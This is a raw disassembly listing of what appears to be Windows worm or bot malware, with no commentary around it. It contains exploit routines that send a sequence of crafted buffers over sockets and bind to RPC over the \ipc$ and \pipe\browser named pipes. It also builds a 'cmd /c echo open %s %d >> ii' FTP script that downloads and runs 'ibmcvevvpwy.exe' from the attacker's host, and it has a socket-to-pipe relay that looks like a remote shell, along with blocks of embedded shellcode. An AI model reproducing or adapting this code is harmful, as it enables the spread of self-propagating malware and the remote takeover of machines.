call ds:dword_428220 ; socket
mov esi, eax
lea eax, [esp+1Ch+arg_1388C]
push eax
mov word ptr [esp+20h+var_8], 2
call ds:dword_428234 ; inet_addr
push [esp+20h+arg_13924]
mov [esp+24h+var_8], eax
call ds:dword_42820C ; htons
mov [esp+24h+var_E], ax
lea eax, [esp+24h+var_10]
push 10h
push eax
push esi
call ds:dword_428210 ; connect
test eax, eax
jge short loc_40DE40
loc_40DE39: ; CODE XREF: sub_40DDDF+275j
xor eax, eax
jmp loc_40E270
; ---------------------------------------------------------------------------
loc_40DE40: ; CODE XREF: sub_40DDDF+58j
lea eax, [esp+30h+var_20]
push 4
push eax
push 1006h
push 0FFFFh
push esi
mov [esp+44h+var_20], 1388h
call ds:dword_428214 ; setsockopt
lea eax, [esp+44h+arg_13864]
push 1
push eax
call sub_417F6F
pop ecx
cmp eax, 2
pop ecx
jz loc_40E059
cmp eax, 1
jz loc_40E059
mov ebx, ds:dword_428224
push edi
push 48h
push offset aB ; ""
push esi
call ebx ; send
mov ebp, ds:dword_428218
push edi
mov edi, 13880h
lea eax, [esp+58h+var_30]
push edi
push eax
push esi
call ebp ; recv
push 0
push 58h
push offset dword_433A40
push esi
call ebx ; send
push 0
lea eax, [esp+78h+var_50]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0B0h
push offset dword_433AA0
push esi
call ebx ; send
push 0
lea eax, [esp+98h+var_70]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0F6h
push offset dword_433B58
push esi
call ebx ; send
push 0
lea eax, [esp+0B8h+var_90]
push edi
push eax
push esi
call ebp ; recv
push 0
push 3Eh
push offset dword_433C50
push esi
call ebx ; send
push 0
lea eax, [esp+0D8h+var_B0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 60h
push offset dword_433C90
push esi
call ebx ; send
push 0
lea eax, [esp+0F8h+var_D0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 96h
push offset dword_433CF8
push esi
call ebx ; send
push 0
lea eax, [esp+118h+var_F0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_433D90
push esi
call ebx ; send
push 0
lea eax, [esp+138h+var_110]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_433EF0
push esi
call ebx ; send
push 0
lea eax, [esp+158h+var_130]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_434050
push esi
call ebx ; send
push 0
lea eax, [esp+178h+var_150]
push edi
push eax
push esi
call ebp ; recv
push 0
push 6Ah
push offset dword_4341B0
push esi
call ebx ; send
push 0
lea eax, [esp+198h+var_170]
push edi
push eax
push esi
call ebp ; recv
test eax, eax
jz loc_40E234
cmp eax, 0FFFFFFFFh
jz loc_40E234
push 0
push 15Bh
push offset dword_433D90
push esi
call ebx ; send
push 0
lea eax, [esp+1B8h+var_190]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_433EF0
push esi
call ebx ; send
push 0
lea eax, [esp+1D8h+var_1B0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_434050
push esi
call ebx ; send
push 0
lea eax, [esp+1F8h+var_1D0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 6Ah
push offset dword_4341B0
push esi
call ebx ; send
push 1387Fh
lea eax, [esp+218h+var_1F0]
push 0
push eax
call sub_41B780
add esp, 0Ch
loc_40E020: ; CODE XREF: sub_40DDDF+450j
push 0
lea eax, [esp+218h+var_1F0]
push edi
push eax
push esi
call ebp ; recv
test eax, eax
jz loc_40E234
cmp eax, 0FFFFFFFFh
jz loc_40E234
cmp [esp+224h+arg_13720], 8Bh
push esi
jnz loc_40E235
call ds:dword_42821C ; closesocket
jmp loc_40DE39
; ---------------------------------------------------------------------------
loc_40E059: ; CODE XREF: sub_40DDDF+95j
; sub_40DDDF+9Ej
mov ebx, ds:dword_428224
push edi
push 48h
push offset unk_434220
push esi
call ebx ; send
mov ebp, ds:dword_428218
push edi
mov edi, 13880h
lea eax, [esp+58h+var_30]
push edi
push eax
push esi
call ebp ; recv
push 0
push 58h
push offset dword_434270
push esi
call ebx ; send
push 0
lea eax, [esp+78h+var_50]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0B0h
push offset dword_4342D0
push esi
call ebx ; send
push 0
lea eax, [esp+98h+var_70]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0F6h
push offset dword_434388
push esi
call ebx ; send
push 0
lea eax, [esp+0B8h+var_90]
push edi
push eax
push esi
call ebp ; recv
push 0
push 66h
push offset dword_434480
push esi
call ebx ; send
push 0
lea eax, [esp+0D8h+var_B0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 3Eh
push offset dword_4344E8
push esi
call ebx ; send
push 0
lea eax, [esp+0F8h+var_D0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 60h
push offset dword_434528
push esi
call ebx ; send
push 0
lea eax, [esp+118h+var_F0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 96h
push offset dword_434590
push esi
call ebx ; send
push 0
lea eax, [esp+138h+var_110]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_434628
push esi
call ebx ; send
push 0
lea eax, [esp+158h+var_130]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_434788
push esi
call ebx ; send
push 0
lea eax, [esp+178h+var_150]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_4348E8
push esi
call ebx ; send
push 0
lea eax, [esp+198h+var_170]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_434A48
push esi
call ebx ; send
push 0
lea eax, [esp+1B8h+var_190]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0CEh
push offset dword_434BA8
push esi
call ebx ; send
push 0
lea eax, [esp+1D8h+var_1B0]
push edi
push eax
push esi
call ebp ; recv
test eax, eax
jz loc_40E234
cmp eax, 0FFFFFFFFh
jz short loc_40E234
push 0
push 15Bh
push offset dword_434628
push esi
call ebx ; send
push 0
lea eax, [esp+1F8h+var_1D0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_434788
push esi
call ebx ; send
push 0
lea eax, [esp+218h+var_1F0]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_4348E8
push esi
call ebx ; send
push 0
lea eax, [esp+238h+var_210]
push edi
push eax
push esi
call ebp ; recv
push 0
push 15Bh
push offset dword_434A48
push esi
call ebx ; send
push 0
lea eax, [esp+258h+var_230]
push edi
push eax
push esi
call ebp ; recv
push 0
push 0CEh
push offset dword_434BA8
push esi
call ebx ; send
jmp loc_40E020
; ---------------------------------------------------------------------------
loc_40E234: ; CODE XREF: sub_40DDDF+1C4j
; sub_40DDDF+1CDj ...
push esi
loc_40E235: ; CODE XREF: sub_40DDDF+269j
call ds:dword_42821C ; closesocket
push 7D0h
call ds:dword_428064 ; Sleep
push 0BEEFh
lea esi, [esp+1B0h+arg_136F8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E2E5
add esp, 0C0h
neg al
sbb eax, eax
neg eax
loc_40E270: ; CODE XREF: sub_40DDDF+5Cj
pop edi
pop esi
pop ebp
pop ebx
add esp, 13894h
retn
sub_40DDDF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E27B proc near ; CODE XREF: seg000:0040D711p
var_200 = byte ptr -200h
arg_0 = byte ptr 8
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 200h
push esi
xor esi, esi
cmp [ebp+arg_A0], 8Bh
push edi
jz short loc_40E2A0
cmp [ebp+arg_A0], 1BDh
jnz short loc_40E2DF
loc_40E2A0: ; CODE XREF: sub_40E27B+17j
sub esp, 0BCh
lea esi, [ebp+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40DDDF
mov esi, eax
add esp, 0BCh
test esi, esi
jz short loc_40E2DF
lea eax, [ebp+var_200]
push eax
call sub_4152AE
mov eax, [ebp+arg_A8]
pop ecx
shl eax, 6
lea eax, dword_432A98[eax]
inc dword ptr [eax]
loc_40E2DF: ; CODE XREF: sub_40E27B+23j
; sub_40E27B+44j
mov eax, esi
pop edi
pop esi
leave
retn
sub_40E27B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E2E5 proc near ; CODE XREF: sub_40D83A+4F9p
; sub_40DDDF+480p ...
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41B780
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call ds:dword_428234 ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call ds:dword_42820C ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_428220 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40E3B3
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call ds:dword_428210 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40E3B3
mov edi, 400h
push esi
mov esi, ds:dword_428218
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset aIbmcvevvpwy_ex ; "ibmcvevvpwy.exe"
push eax
push eax
push ds:dword_4CD938
push [ebp+arg_0]
call sub_40AAF8
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41BB70
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call ds:dword_428224 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E3B7
loc_40E3B3: ; CODE XREF: sub_40E2E5+50j
; sub_40E2E5+62j
xor al, al
jmp short loc_40E3CD
; ---------------------------------------------------------------------------
loc_40E3B7: ; CODE XREF: sub_40E2E5+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
call ds:dword_42821C ; closesocket
mov al, 1
loc_40E3CD: ; CODE XREF: sub_40E2E5+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40E2E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E3D2 proc near ; CODE XREF: sub_40E64C+16p
; sub_40E64C+39p
var_72E38B40 = qword ptr -72E38B40h
var_1D24 = byte ptr -1D24h
var_D24 = byte ptr -0D24h
var_CF8 = byte ptr -0CF8h
var_CF4 = byte ptr -0CF4h
var_CF0 = byte ptr -0CF0h
var_CEC = byte ptr -0CECh
var_A28 = byte ptr -0A28h
var_A24 = byte ptr -0A24h
var_4F4 = byte ptr -4F4h
var_3F0 = byte ptr -3F0h
var_2EC = byte ptr -2ECh
var_88 = byte ptr -88h
var_84 = byte ptr -84h
var_7C = byte ptr -7Ch
var_78 = byte ptr -78h
var_58 = byte ptr -58h
var_54 = byte ptr -54h
var_4C = byte ptr -4Ch
var_48 = byte ptr -48h
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
mov eax, 1D24h
call sub_41BD10
push ebx
push esi
push edi
push 830h
lea eax, [ebp+var_D24]
push 0
push eax
call sub_41B780
push 264h
lea eax, [ebp+var_2EC]
push 0FFFFFF90h
push eax
call sub_41B780
push 15Bh
lea eax, [ebp+var_2EC]
push offset dword_434D18
push eax
call sub_41C500
push 4
lea eax, [ebp+var_88]
pop ebx
push ebx
push offset dword_434F44
push eax
call sub_41C500
push 8
lea eax, [ebp+var_84]
push 41h
push eax
call sub_41B780
mov esi, offset dword_434F3C
push ebx
lea eax, [ebp+var_7C]
push esi
push eax
call sub_41C500
add esp, 48h
lea eax, [ebp+var_78]
push 20h
push 0FFFFFF90h
push eax
call sub_41B780
push ebx
lea eax, [ebp+var_58]
push esi
push eax
call sub_41C500
push 8
lea eax, [ebp+var_54]
push 42h
push eax
call sub_41B780
push ebx
lea eax, [ebp+var_4C]
push esi
push eax
call sub_41C500
push 20h
lea eax, [ebp+var_48]
push 0FFFFFF90h
push eax
call sub_41B780
push 2Ch
lea eax, [ebp+var_D24]
push offset dword_434CC4
push eax
call sub_41C500
add esp, 48h
mov edi, offset dword_434F34
lea eax, [ebp+var_CF8]
push ebx
push edi
push eax
call sub_41C500
mov esi, offset dword_4D0904
push ebx
lea eax, [ebp+var_CF4]
push esi
push eax
call sub_41C500
push ebx
lea eax, [ebp+var_CF0]
push edi
push eax
call sub_41C500
lea eax, [ebp+var_2EC]
push 2C4h
push eax
lea eax, [ebp+var_CEC]
push eax
call sub_41C500
push ebx
lea eax, [ebp+var_A28]
push esi
push eax
call sub_41C500
push 1Ch
lea eax, [ebp+var_A24]
push offset dword_434CF4
push eax
call sub_41C500
add esp, 48h
lea eax, [ebp+arg_4]
mov edi, 104h
push eax
push offset aSIpc ; "\\\\%s\\ipc$"
lea eax, [ebp+var_3F0]
push edi
push eax
call sub_41BB70
lea eax, [ebp+var_3F0]
add esp, 10h
xor esi, esi
mov [ebp+var_14], eax
mov eax, offset dword_43FDB4
push esi
push eax
push eax
lea eax, [ebp+var_28]
mov [ebp+var_24], esi
push eax
mov [ebp+var_18], esi
mov [ebp+var_C], esi
call sub_41B1C0
test eax, eax
jz short loc_40E572
push offset aFailedToConnec ; "[-] Failed to connect to host !\n"
call sub_41D3DC
pop ecx
loc_40E56B: ; CODE XREF: sub_40E3D2+1D6j
; sub_40E3D2+229j ...
xor eax, eax
loc_40E56D: ; CODE XREF: sub_40E3D2+275j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40E572: ; CODE XREF: sub_40E3D2+18Cj
lea eax, [ebp+arg_4]
push eax
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
lea eax, [ebp+var_4F4]
push edi
push eax
call sub_41BB70
add esp, 10h
lea eax, [ebp+var_4F4]
push esi
push esi
push 3
push esi
push esi
push 0C0000000h
push eax
call ds:dword_4280EC ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_40E56B
push offset aBindingToRpcIn ; "[+] Binding to RPC interface ... \n"
call sub_41D3DC
pop ecx
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_1D24]
push 1000h
push eax
push 49h
push offset dword_434C78
push edi
call near ptr 0B10000h
bound eax, [ebp+var_72E38B40]
inc ebp
cld
push esi
push eax
lea eax, [ebp+var_D24]
push 830h
push eax
push edi
call near ptr 0B10000h
pop edx
test eax, eax
jnz short loc_40E600
push edi
call ds:dword_42806C ; CloseHandle
jmp loc_40E56B
; ---------------------------------------------------------------------------
loc_40E600: ; CODE XREF: sub_40E3D2+220j
push 0FAh
call ds:dword_428064 ; Sleep
push 115Ch
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E2E5
add esp, 0C0h
test al, al
jz loc_40E56B
mov eax, [ebp+arg_A8]
shl eax, 6
lea eax, dword_432A98[eax]
inc dword ptr [eax]
xor eax, eax
inc eax
jmp loc_40E56D
sub_40E3D2 endp
; =============== S U B R O U T I N E =======================================
sub_40E64C proc near ; CODE XREF: seg000:0040D726p
arg_0 = byte ptr 4
push esi
push edi
sub esp, 0BCh
lea esi, [esp+0C4h+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E3D2
add esp, 0BCh
test eax, eax
jnz short loc_40E698
sub esp, 0BCh
lea esi, [esp+0C4h+arg_0]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E3D2
add esp, 0BCh
neg eax
sbb eax, eax
neg eax
jmp short loc_40E69B
; ---------------------------------------------------------------------------
loc_40E698: ; CODE XREF: sub_40E64C+23j
xor eax, eax
inc eax
loc_40E69B: ; CODE XREF: sub_40E64C+4Aj
pop edi
pop esi
retn
sub_40E64C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E69E proc near ; CODE XREF: sub_40E78C+91p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41B780
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call ds:dword_428234 ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call ds:dword_42820C ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_428220 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40E76C
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call ds:dword_428210 ; connect
cmp eax, 0FFFFFFFFh
jz short loc_40E76C
mov edi, 400h
push esi
mov esi, ds:dword_428218
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset aIbmcvevvpwy_ex ; "ibmcvevvpwy.exe"
push eax
push eax
push ds:dword_4CD938
push [ebp+arg_0]
call sub_40AAF8
pop ecx
push eax
push offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41BB70
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call ds:dword_428224 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40E770
loc_40E76C: ; CODE XREF: sub_40E69E+50j
; sub_40E69E+62j
xor eax, eax
jmp short loc_40E787
; ---------------------------------------------------------------------------
loc_40E770: ; CODE XREF: sub_40E69E+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
call ds:dword_42821C ; closesocket
xor eax, eax
inc eax
loc_40E787: ; CODE XREF: sub_40E69E+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_40E69E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40E78C proc near ; CODE XREF: sub_40BF8E+1D7p
; DATA XREF: seg002:off_432A94o
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_A0 = dword ptr 0A8h
arg_A8 = dword ptr 0B0h
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+arg_4]
push edi
push eax
mov [ebp+var_10], 2
call ds:dword_4CDC38 ; inet_addr
push [ebp+arg_A0]
mov [ebp+var_C], eax
call ds:dword_4CDBF8 ; htons
push 6
push 1
push 2
mov [ebp+var_E], ax
call ds:dword_428220 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40E7FE
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call ds:dword_428210 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40E7DF
push esi
jmp short loc_40E7F8
; ---------------------------------------------------------------------------
loc_40E7DF: ; CODE XREF: sub_40E78C+4Ej
push 0
push 1213h
push offset dword_434F50
push esi
call ds:dword_428224 ; send
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_40E802
loc_40E7F8: ; CODE XREF: sub_40E78C+51j
call ds:dword_42821C ; closesocket
loc_40E7FE: ; CODE XREF: sub_40E78C+3Cj
xor eax, eax
jmp short loc_40E840
; ---------------------------------------------------------------------------
loc_40E802: ; CODE XREF: sub_40E78C+6Aj
call ds:dword_42821C ; closesocket
push 216Bh
lea esi, [ebp+arg_0]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_40E69E
add esp, 0C0h
test eax, eax
jz short loc_40E83D
mov eax, [ebp+arg_A8]
shl eax, 6
lea eax, dword_432A98[eax]
inc dword ptr [eax]
loc_40E83D: ; CODE XREF: sub_40E78C+9Ej
xor eax, eax
inc eax
loc_40E840: ; CODE XREF: sub_40E78C+74j
pop edi
pop esi
leave
retn
sub_40E78C endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 404h
loc_40E84D: ; CODE XREF: seg000:0040E869j
push 0
lea eax, [ebp-404h]
push 400h
push eax
push ds:dword_4D091C
call ds:dword_4CDC10 ; recv
test eax, eax
jle short loc_40E84D
lea ecx, [ebp-4]
push 0
push ecx
push eax
lea eax, [ebp-404h]
push eax
push ds:dword_4D0918
call near ptr 0B10000h
aad 0EBh
mov byte ptr [ebp-75h], 0ECh
sub esp, 404h
loc_40E890: ; CODE XREF: seg000:0040E8B6j
; seg000:0040E8D0j
lea eax, [ebp-4]
and dword ptr [ebp-4], 0
push 0
push eax
lea eax, [ebp-404h]
push 400h
push eax
push ds:dword_4D090C
call ds:dword_4280E8 ; ReadFile
cmp dword ptr [ebp-4], 0
jle short loc_40E890
push 0
lea eax, [ebp-404h]
push dword ptr [ebp-4]
push eax
push ds:dword_4D091C
call ds:dword_4CDC48 ; send
jmp short loc_40E890
; ---------------------------------------------------------------------------
word_40E8D2 dw 8B55h ; DATA XREF: seg000:00404811o
dword_40E8D4 dd 1CEC81ECh, 8B000001h, 56530845h, 8B286A57h, 0BD8D59F0h
dd 0FFFFFEE4h, 0F633A5F3h, 6A46FF33h, 98B08910h, 8D000000h
dd 5057C845h, 0CE7BE8h, 0CC48300h, 0C845C766h, 0B5FF0002h
dd 0FFFFFF68h, 0DBF815FFh, 66A004Ch, 66026A56h, 0FFCA4589h
dd 4CDC7815h, 8458900h, 6AC8458Dh, 75FF5010h, 2415FF08h
dd 6A004CDCh, 875FF05h, 0DC2015FFh, 1D8B004Ch, 428100h
dd 806C358Bh, 57570042h, 0FF0875FFh, 4CDC8C15h, 91CA300h
dd 458D004Dh, 685057F4h, 4D0918h, 4D091468h, 0F445C700h
dd 0Ch, 1FC45C7h, 89000000h, 0D3FFF87Dh, 57F4458Dh, 9106850h
dd 0C68004Dh, 0FF004D09h, 8D446AD3h, 50578445h, 0CDDFE8h
dd 914A100h, 0C483004Dh, 0BC45890Ch, 4D0910A1h, 0C0458900h
dd 8D016A57h, 26AC445h, 8445C750h, 44h, 1B045C7h, 66000001h
dd 0E8B47D89h, 70162Ch, 35FF5066h, 4D0910h, 70161FE8h
dd 0E8507400h, 701618h, 0D8458D44h, 84458D50h, 68575750h
dd 4000090h, 6AF4458Dh, 458D5001h, 0DC6850F4h, 57004361h
dd 7015F3E8h, 458DAE00h, 575750E8h, 40E88768h, 0F4458D00h
dd 15FF5057h, 42807Ch, 8DEC4589h, 5750E845h, 0E8446857h
dd 458D0040h, 0FF5057F4h, 42807C15h, 89FF6A00h, 75FFF045h
dd 15B6E8D8h, 57C10070h, 0E8F075FFh, 7015ACh, 75FF57EBh
dd 15A2E8ECh, 0FFFA0070h, 0D6FFF075h, 0FFEC75FFh, 75FF57D6h
dd 158EE8D8h, 0FF4E0070h, 4D091435h, 0FFD6FF00h, 4D091835h
dd 0FFD6FF00h, 4D090C35h, 0FFD6FF00h, 4D091035h, 0FFD6FF00h
dd 0D6FFDC75h, 0FFD875FFh, 0FEB0E9D6h, 0E9FFFFh, 68000000h
dd 0FFFEh, 40068h, 9DBCE800h, 0A3590000h, 4D0920h
; ---------------------------------------------------------------------------
pop ecx
retn
; ---------------------------------------------------------------------------
word_40EABE dw 8B55h ; DATA XREF: seg000:0040BC7Bo
dd 0C0EC81ECh, 8B000006h, 56530845h, 8B276A57h, 0BD8D59F0h
dd 0FFFFFF50h, 0F633A5F3h, 6A46DB33h, 98B08910h, 8D000000h
dd 5053EC45h, 0CC8FE8h, 0CC48300h, 0EC45C766h, 0B5FF0002h
dd 0FFFFFF5Ch, 0DBF815FFh, 5653004Ch, 8966026Ah, 5D89EE45h
dd 7815FFF0h, 8B004CDCh, 0FFCE83F8h, 4575FE3Bh, 75E45D39h
dd 858D5320h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh, 0FF50FFFFh
dd 0FFFF50B5h, 0AE24E8FFh, 0C483FFFFh, 40858D14h, 50FFFFFDh
dd 675DE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFC72Bh, 0E8535959h
dd 70149Ch, 54858BFEh, 6AFFFFFFh, 34C06910h, 89000002h
dd 440B44B8h, 0EC458D00h, 15FF5750h, 4CDC24h, 0BBC63Bh
dd 0F000004h, 0CF85h, 8C15FF00h, 3D004CDBh, 2740h, 0F6334774h
dd 75E47539h, 858D5620h, 0FFFFFD40h, 50E075FFh, 0FF60858Dh
dd 0FF50FFFFh, 0FFFF50B5h, 0ADA4E8FFh, 0C483FFFFh, 40858D14h
dd 50FFFFFDh, 66DDE8h, 54B5FF00h, 0E8FFFFFFh, 0FFFFC6ABh
dd 0E8565959h, 70141Ch, 0FFFE689Ah, 0E8530000h, 9C82h
dd 920A359h, 6659004Dh, 8DEE4589h, 106AEC45h, 15FF5750h
dd 4CDC24h, 5475C63Bh, 0DB8C15FFh, 0F633004Ch, 75E47539h
dd 27403D27h, 20740000h, 40858D56h, 0FFFFFFFDh, 8D50E075h
dd 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h, 0FFAD29E8h, 14C483FFh
dd 0FD40858Dh, 0E850FFFFh, 6662h, 0FF54B5FFh, 30E8FFFFh
dd 59FFFFC6h, 0A1E85659h, 0E5007013h, 0FF57056Ah, 4CDC2015h
dd 0FC63B00h, 0D484h, 0FC45C700h, 10h, 42A0ECBEh, 0FC458D00h
dd 40858D50h, 50FFFFFFh, 8C15FF57h, 83004CDCh, 4589FFF8h
dd 83E67408h, 7500E47Dh, 8D006A21h, 0FFFD4085h, 0E075FFFFh
dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 0ABE8FFFFh, 83FFFFACh
dd 858D14C4h, 0FFFFFD40h, 65E4E850h, 8D590000h, 0FFFD4085h
dd 68006AFFh, 200h, 875FF50h, 0DC1015FFh, 0F883004Ch, 569674FFh
dd 3835FF56h, 0FF004CD9h, 0FFFF50B5h, 0BDFEE8FFh, 5059FFFFh
dd 4361E868h, 40858D00h, 53FFFFF9h, 0CE62E850h, 0C4830000h
dd 40858D1Ch, 6AFFFFF9h, 0B1E85000h, 590000C4h, 40858D50h
dd 50FFFFF9h, 0FF0875FFh, 4CDC4815h, 0FFF88300h, 0FF43840Fh
dd 5FFFFFFh, 4D0924h, 0FFFF38E9h, 15FF57FFh, 4CDC90h, 0FF54B5FFh
dd 30E8FFFFh, 59FFFFC5h, 0A1E8006Ah, 0E4007012h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ED60 proc near ; DATA XREF: seg000:0040BB54o
var_A70 = byte ptr -0A70h
var_8E0 = byte ptr -8E0h
var_6E0 = dword ptr -6E0h
var_4C8 = byte ptr -4C8h
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_43C = dword ptr -43Ch
var_338 = byte ptr -338h
var_2D4 = byte ptr -2D4h
var_2A0 = byte ptr -2A0h
var_23C = dword ptr -23Ch
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_138 = byte ptr -138h
var_128 = byte ptr -128h
var_FC = byte ptr -0FCh
var_C8 = byte ptr -0C8h
var_B0 = byte ptr -0B0h
var_4C = byte ptr -4Ch
var_3C = word ptr -3Ch
var_3A = word ptr -3Ah
var_38 = dword ptr -38h
var_2C = byte ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A70h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6E0]
inc ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A70]
xor esi, esi
push eax
push 101h
mov [ebp+var_28], ebx
mov [ebp+var_20], ebx
mov [ebp+var_18], ebx
mov [ebp+var_23C], esi
mov [ebp+var_43C], esi
call ds:dword_4281F4 ; WSAStartup
push esi
push ebx
push 2
call ds:dword_428220 ; socket
mov esi, ds:dword_428214
lea ecx, [ebp+var_28]
push 4
push ecx
mov edi, 0FFFFh
push 4
push edi
push eax
mov [ebp+var_8], eax
call esi ; setsockopt
lea eax, [ebp+var_20]
push 4
push eax
push 0FFFFFFFBh
push edi
mov edi, [ebp+var_8]
push edi
call esi ; setsockopt
lea eax, [ebp+var_18]
push eax
push 8004667Eh
push edi
call ds:dword_4281F8 ; ioctlsocket
mov ax, word ptr ds:dword_4CD938
and [ebp+var_38], 0
push eax
mov [ebp+var_3C], 2
call ds:dword_4CDBF8 ; htons
mov [ebp+var_3A], ax
lea eax, [ebp+var_3C]
push 10h
push eax
push edi
call ds:dword_4281FC ; bind
test eax, eax
jge short loc_40EE26
mov eax, ebx
jmp loc_40F359
; ---------------------------------------------------------------------------
loc_40EE26: ; CODE XREF: sub_40ED60+BDj
push 0Ah
